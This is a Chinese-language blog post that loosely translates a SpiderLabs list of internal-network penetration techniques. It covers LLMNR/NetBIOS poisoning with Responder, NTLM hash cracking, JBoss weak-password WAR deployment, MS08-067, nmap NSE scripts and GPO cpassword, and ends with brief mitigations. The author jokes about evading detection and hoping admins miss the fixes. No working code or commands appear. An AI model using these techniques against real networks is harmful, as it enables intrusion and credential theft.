spiderlabs总结的,我简单翻译下,偶尔加点我的牢骚。
1.Netbios and LLMNR Name Poisoning
这个方法在WIN工作组下渗透很有用,WIN的请求查询顺序是下面三个步骤:本地hosts文件(%windir%System32drivers etchosts),DNS服务器,NetBIOS广播,如果前2个请求失败,则在本地发送NetBIOS广播请求,此时任何本地网络的系统都能回答 这个请求,使用SpiderLabs出品的Responder工具,能够在不借助ARP欺骗的情况下,响应这个请求.其实metasploit也能利用(http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html),但实际测试还是Responder比较好,都是套用标准库写的,很方便在目标上使用:)

这里的LM, NTLMv1, or NTLMv2哈希,能够用GPU或者彩虹表暴力破解.如果在responder会话过程中,抓到一个域管理员帐号,能够直接使用winexe运行cmd.exe命令

2.利用jboss漏洞
可以前期先用nmap扫描下端口,识别出常见的JAVA应用服务器,后期配合Metasploit的auxiliary模块来利用.比如jboss漏洞. 最常见的就是弱口令了吧,同理的,也可以寻找webloigc,websphere,tomcat等这些基于JAVA的应用服务器,还有最近国内政府部门 部署比较多的Apusic,不过需要注意war包格式,进后台,直接部署WAR就行了.jboss的除了弱口令,还有个后台绕过,和流传很久的1337那 个.用例说下如何用metasploit暴力破解jboss后台,以及部署war包.

3.MS08-067
这个漏洞已经超过4年了,但是内网中还是有很多机器没有打补丁,影响的有(Windows Server 2000, Windows Server 2003, and Windows XP),不过说实话,我内网渗透的过程中很少用MS08-067,因为溢出不好,有可能造成DOS,被人发现了,就不好了,你懂得.

nmap的NSE脚本是用LUA语言写的,把这些NSE都过一遍,对渗透很有帮助哦,尤其是在LINUX平台,win平台下除了有几种扫描方式利用不 了,NSE脚本照样可以用,不过LINUX上默认安装的NMAP版本都比较低了,你不能直接放NSE到目录,注意看库之间的依赖关系,才能利用,上次看 wooyun的drops,livers大牛回复我们组的Anthr@X牛的InsightScan.py,说用nse也实现了一个,我只想说,你能偷偷 发我一份吗?
接下来,还是用metasploit溢出，不知道对中文系统效果怎么样，我没有试过 =.=

4. GPO cpassword
这个原理完全可以看瞌睡龙牛翻译的：老外的一份渗透测试报告，本文中亮点是他从LINUX连接到WIN的,有许多同学不会通过linux渗透WIN域,尤其是在得到一个WEBSHELL,还是ROOT权限,还是跟内网连着,还有个域用户的情况下(=.=现实中哪儿有这么多好的条件让你都碰到了)

修补方法:[真心不希望管理员看到]
1.少用XP/win2k吧,否则为了某些兼容性,很少能全面禁止Netbios and LLMNR Name Poisoning
2.从知名站点下载软件安装程序,更换软件自带的默认口令
3.勤劳打全系统补丁
4.做好账户审核
5.禁止空会话,关键服务器,做好VLAN划分
